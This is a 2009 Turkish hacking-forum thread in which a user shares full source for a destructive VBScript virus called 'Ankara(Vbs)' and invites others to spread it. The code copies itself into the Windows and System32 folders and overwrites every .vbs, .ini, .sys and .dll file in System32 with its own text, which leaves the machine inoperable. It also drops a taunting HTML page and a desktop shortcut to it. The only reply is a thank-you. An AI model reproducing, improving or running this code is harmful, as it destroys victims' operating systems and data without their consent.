İPUCU

Trojan ve Virüsler Trojan ve Virüsler Hakkında Bilgiler.

Seçenekler

Süper Bir Virüs Daha

07-12-2009 02:06
#1
TrMaxi05 - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
12/2009
Mesajlar:
1
Teşekkür (Etti):
0
Teşekkür (Aldı):
0
Konular:
1
Ticaret:
(0) %
Virüsü Ben Yazdım Deyip, 2 Kodu 1 Araya Getiremeyen Ters Yönlü Arkadaşlar, Ben Yaptım Deyip Sürebilirler Piyasaya
Virüsün Adı : Ankara(Vbs)
Kısaca İşlevi;
System32'de Bulunan Vbs, Inı, Sys Gibi Dosya Türlerinin İçeriğine Kendisini Enjekte Eder Ve Sistemi Çalışmaz Hale Getirir.
Çalışmıyo Vb SoruLar ; gozyasi---@hotmail.com

Kod:
Rem // Ankara(Vbs) - You Must Come To Ankara!
Rem // By: gozyasi---@hotmail.com
Dim c1, c2, c3, c4, c5
Set c1 = CreateObject ("Scripting.FileSystemObject")
Set c2 = c1.GetSpeciAlFolder(0)
Set c3 = c1.GetSpeciAlFolder(1)
Set c4 = c1.GetFile (Wscript.ScriptFullName)
c4.Copy (c2 & "\winL0rd.html")
c4.Copy (c3 & "\Ankara.vbs")
Set c5 = c1.OpenTextFile(c2 & "\winL0rd.html", 2, True)
c5.WriteLine "<Html><Head><Title>Warning!</title></Head><Body BgColor=" & """#000000""" & "><P Align=" & """Center""" & "><B><Font Face=" & """Verdana""" & " Size=" & """6""" & " Color=" & """#44F44""" & ">Warning!</Font></B><Br><Br><Font Face=" & """Verdana""" & " Size=" & """2""" & " Color=" & """#44FF44""" & ">I Can Destroy Your Computer, You Are Come To (ANKARA)</Font><Br><Br><Font Face=" & """Verdana""" & " Size=" & """2""" & " Color=" & """#44FF44""" & ">By: gozyasi---@hotmail.com</Font></P></Body></Html>"
Devam()
Sub Devam()
Dim  c6, c7, c8, c9, c10
Set c6 = c1.OpenTextFile(WScript.ScriptFullName)
Set c7 = c1.GetSpecialFolder(1)
Set c8 = c1.GetFolder(c7)
Set c9 = c8.Files
c14 = c6.ReadAll
For each Ben in c9
uzanti = c1.GetExtensionName(Ben.path)
If (uzanti = "vbs") or  (uzanti = "ini") or (uzanti = "sys") or (uzanti = "dll") Then
Set c10 = c1.OpenTextFile(Ben.path, 2, True)
c10.Write (c14)
c10.Close
End If
Next
Kyol()
End Sub
Sub Kyol()
Dim c11, c12, c13
set c11 = WScript.CreateObject("WScript.Shell")
c12 = c11.SpecialFolders("Desktop")
set c13 = c11.CreateShortcut(c12 & "\Oku Bunu.Url")
c13.TargetPath = (c2 & "\winL0rd.html")
c13.Save
Rem // Ankara(vbs)
End Sub

07-12-2009 03:12
#2
gokhanb - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
12/2009
Nereden:
Konya
Yaş:
29
Mesajlar:
251
Teşekkür (Etti):
20
Teşekkür (Aldı):
55
Konular:
111
Ticaret:
(0) %
tesekkür
Kullanıcı İmzası
☪ Ne Mutlu Türküm Diyene ☪



Bookmarks


« Önceki Konu | Sonraki Konu »
Seçenekler

Yetkileriniz
Sizin Yeni Konu Acma Yetkiniz var yok
You may not post replies
Sizin eklenti yükleme yetkiniz yok
You may not edit your posts

BB code is Açık
Smileler Açık
[IMG] Kodları Açık
HTML-Kodları Kapalı
Trackbacks are Kapalı
Pingbacks are Kapalı
Refbacks are Kapalı